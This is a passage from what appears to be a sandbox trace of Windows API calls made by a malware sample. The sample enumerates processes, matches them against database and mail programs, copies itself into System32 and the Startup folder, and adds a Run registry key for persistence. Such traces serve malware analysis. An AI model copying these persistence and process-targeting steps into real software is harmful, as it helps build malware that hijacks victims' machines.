(lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0058.913] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0058.913] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0058.913] lstrlenW (lpString="taskhostw.exe") returned 13 [0058.913] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0058.913] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0058.913] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0058.913] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0058.913] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0058.913] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0058.913] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0058.913] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0058.914] lstrlenW (lpString="taskhostw.exe") returned 13 [0058.914] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0058.914] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0058.914] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0058.914] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0058.914] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0058.914] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0058.914] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0058.914] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0058.915] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0058.915] lstrcmpiW (lpString1="1c8.exe", lpString2="UNPCampaignManager.exe") returned -1 [0058.915] lstrcmpiW (lpString1="1cv77.exe", lpString2="UNPCampaignManager.exe") returned -1 [0058.915] lstrcmpiW (lpString1="outlook.exe", lpString2="UNPCampaignManager.exe") returned -1 [0058.915] lstrcmpiW (lpString1="postgres.exe", lpString2="UNPCampaignManager.exe") returned -1 [0058.915] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="UNPCampaignManager.exe") returned -1 [0058.915] lstrcmpiW (lpString1="mysqld.exe", lpString2="UNPCampaignManager.exe") returned -1 [0058.915] lstrcmpiW (lpString1="sqlservr.exe", lpString2="UNPCampaignManager.exe") returned -1 [0058.915] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0058.916] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0058.916] lstrcmpiW (lpString1="1c8.exe", lpString2="DeviceCensus.exe") returned -1 [0058.916] lstrcmpiW (lpString1="1cv77.exe", lpString2="DeviceCensus.exe") returned -1 [0058.916] lstrcmpiW (lpString1="outlook.exe", lpString2="DeviceCensus.exe") returned 1 [0058.931] lstrcmpiW (lpString1="postgres.exe", lpString2="DeviceCensus.exe") returned 1 [0058.931] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="DeviceCensus.exe") returned 1 [0058.931] lstrcmpiW (lpString1="mysqld.exe", lpString2="DeviceCensus.exe") returned 1 [0058.931] lstrcmpiW (lpString1="sqlservr.exe", lpString2="DeviceCensus.exe") returned 1 [0058.931] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0058.932] lstrlenW (lpString="sc.exe") returned 6 [0058.932] lstrcmpiW (lpString1="1c8.exe", lpString2="sc.exe") returned -1 [0058.932] lstrcmpiW (lpString1="1cv77.exe", lpString2="sc.exe") returned -1 [0058.932] lstrcmpiW (lpString1="outlook.exe", lpString2="sc.exe") returned -1 [0058.932] lstrcmpiW (lpString1="postgres.exe", lpString2="sc.exe") returned -1 [0058.933] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0058.933] lstrlenW (lpString="UsoClient.exe") returned 13 [0058.933] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0058.934] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0058.934] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.935] lstrlenW (lpString="conhost.exe") returned 11 [0058.935] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1204, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.935] lstrlenW (lpString="conhost.exe") returned 11 [0058.935] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.936] lstrlenW (lpString="conhost.exe") returned 11 [0058.936] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.936] lstrlenW (lpString="svchost.exe") returned 11 [0058.936] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0058.937] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0058.937] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.938] lstrlenW (lpString="svchost.exe") returned 11 [0058.938] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0058.938] CloseHandle (hObject=0x240) returned 1 [0058.938] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa210 | out: hHeap=0x490000) returned 1 [0058.938] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa060 | out: hHeap=0x490000) returned 1 [0058.938] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a6058 | out: hHeap=0x490000) returned 1 [0058.938] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a62d8 | out: hHeap=0x490000) returned 1 [0058.939] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a5410 | out: hHeap=0x490000) returned 1 [0058.939] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a7970 | out: hHeap=0x490000) returned 1 [0058.939] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a6318 | out: hHeap=0x490000) returned 1 [0058.939] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a5ff8 | out: hHeap=0x490000) returned 1 [0058.939] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce900 | out: hHeap=0x490000) returned 1 [0058.939] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce9f0 | out: hHeap=0x490000) returned 1 [0058.939] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a6118 | out: hHeap=0x490000) returned 1 [0058.939] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cea18 | out: hHeap=0x490000) returned 1 [0058.939] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4d66f0 [0058.939] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4e66f8 [0058.940] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4340 [0058.940] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4340, Size=0x20) returned 0x4cec70 [0058.940] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cec70, Size=0x40) returned 0x4aa2e8 [0058.940] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d42f8 [0058.940] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d42f8, Size=0x20) returned 0x4cecc0 [0058.940] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d44d8 [0058.940] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d44d8, Size=0x20) returned 0x4ce978 [0058.940] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4298 [0058.940] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4298, Size=0x20) returned 0x4cea40 [0058.940] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cea40, Size=0x40) returned 0x4aa378 [0058.940] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4e66f8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x52 [0058.940] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f6700 [0058.940] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x506708 [0058.941] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4430 [0058.941] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4430, Size=0x20) returned 0x4cec70 [0058.941] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cec70, Size=0x40) returned 0x4aa720 [0058.941] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa720, Size=0x80) returned 0x516fb8 [0058.941] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x516fb8, Size=0x100) returned 0x4d4f70 [0058.941] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0058.941] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d4f70 | out: hHeap=0x490000) returned 1 [0058.941] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x4f6700, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x4f [0058.941] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x506708 | out: hHeap=0x490000) returned 1 [0058.941] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6700 | out: hHeap=0x490000) returned 1 [0058.942] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x23e8020 [0058.945] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d42b0 [0058.945] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d42b0, Size=0x20) returned 0x4ceb80 [0058.945] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4250 [0058.945] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4250, Size=0x20) returned 0x4cec20 [0058.945] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0058.945] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0058.945] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0058.945] lstrlenW (lpString="kernel32.dll") returned 12 [0058.945] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceb80 | out: hHeap=0x490000) returned 1 [0058.945] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0058.945] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cec20 | out: hHeap=0x490000) returned 1 [0058.945] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0058.946] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\windows\\system32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0058.948] ReadFile (in: hFile=0x240, lpBuffer=0x23e8020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23e8020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0058.962] WriteFile (in: hFile=0x244, lpBuffer=0x23e8020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23e8020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0058.969] ReadFile (in: hFile=0x240, lpBuffer=0x23e8020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23e8020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0058.969] CloseHandle (hObject=0x244) returned 1 [0058.973] CloseHandle (hObject=0x240) returned 1 [0058.973] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4340 [0058.973] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4340, Size=0x20) returned 0x4ced38 [0058.973] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d44a8 [0058.973] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d44a8, Size=0x20) returned 0x4cea40 [0058.973] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0058.973] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0058.973] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0058.973] lstrlenW (lpString="kernel32.dll") returned 12 [0058.973] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cea40 | out: hHeap=0x490000) returned 1 [0058.973] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0058.973] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0058.973] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x23e8020 | out: hHeap=0x490000) returned 1 [0058.978] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d42f8 [0058.978] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d42f8, Size=0x20) returned 0x4cece8 [0058.978] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cece8, Size=0x40) returned 0x4aa138 [0058.978] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa138, Size=0x80) returned 0x5171d8 [0058.978] lstrlenW (lpString="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 78 [0058.978] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0058.978] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x5c) returned 0x4d4f70 [0058.978] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0058.978] RegSetValueExW (in: hKey=0x240, lpValueName="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", cbData=0x9c | out: lpData="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x0 [0059.021] RegCloseKey (hKey=0x240) returned 0x0 [0059.021] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d4f70 | out: hHeap=0x490000) returned 1 [0059.021] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0059.021] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x5171d8 | out: hHeap=0x490000) returned 1 [0059.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f6700 [0059.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x506708 [0059.022] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4370 [0059.022] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4370, Size=0x20) returned 0x4ceae0 [0059.022] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceae0, Size=0x40) returned 0x4aa180 [0059.022] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa180, Size=0x80) returned 0x517618 [0059.022] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x517618, Size=0x100) returned 0x4d4f70 [0059.022] lstrlenW (lpString="") returned 0 [0059.022] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0059.022] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8c) returned 0x4d5078 [0059.022] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0059.022] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x506708, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x506708*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0059.022] RegCloseKey (hKey=0x240) returned 0x0 [0059.022] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5078 | out: hHeap=0x490000) returned 1 [0059.022] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0059.022] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8c) returned 0x4d5078 [0059.022] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0059.022] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x506708, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0059.022] RegCloseKey (hKey=0x244) returned 0x0 [0059.023] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5078 | out: hHeap=0x490000) returned 1 [0059.023] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0059.023] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0059.023] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d4f70 | out: hHeap=0x490000) returned 1 [0059.023] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x4f6700, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x89 [0059.023] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x506708 | out: hHeap=0x490000) returned 1 [0059.023] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6700 | out: hHeap=0x490000) returned 1 [0059.024] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x23eb020 [0059.027] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d44a8 [0059.027] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d44a8, Size=0x20) returned 0x4cea18 [0059.027] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4298 [0059.027] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4298, Size=0x20) returned 0x4cebd0 [0059.027] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0059.027] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0059.027] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0059.027] lstrlenW (lpString="kernel32.dll") returned 12 [0059.027] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cea18 | out: hHeap=0x490000) returned 1 [0059.027] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.027] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cebd0 | out: hHeap=0x490000) returned 1 [0059.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0059.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0059.070] ReadFile (in: hFile=0x244, lpBuffer=0x23eb020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23eb020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0059.083] WriteFile (in: hFile=0x248, lpBuffer=0x23eb020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23eb020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0059.089] ReadFile (in: hFile=0x244, lpBuffer=0x23eb020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23eb020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0059.089] CloseHandle (hObject=0x248) returned 1 [0059.144] CloseHandle (hObject=0x244) returned 1 [0059.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d44f0 [0059.183] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d44f0, Size=0x20) returned 0x4cebf8 [0059.184] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d43d0 [0059.184] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d43d0, Size=0x20) returned 0x4cece8 [0059.184] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0059.184] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0059.184] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0059.184] lstrlenW (lpString="kernel32.dll") returned 12 [0059.184] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cece8 | out: hHeap=0x490000) returned 1 [0059.184] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.184] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cebf8 | out: hHeap=0x490000) returned 1 [0059.184] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x23eb020 | out: hHeap=0x490000) returned 1 [0059.189] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f6700 [0059.189] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x506708 [0059.189] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d43d0 [0059.189] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d43d0, Size=0x20) returned 0x4ceba8 [0059.189] 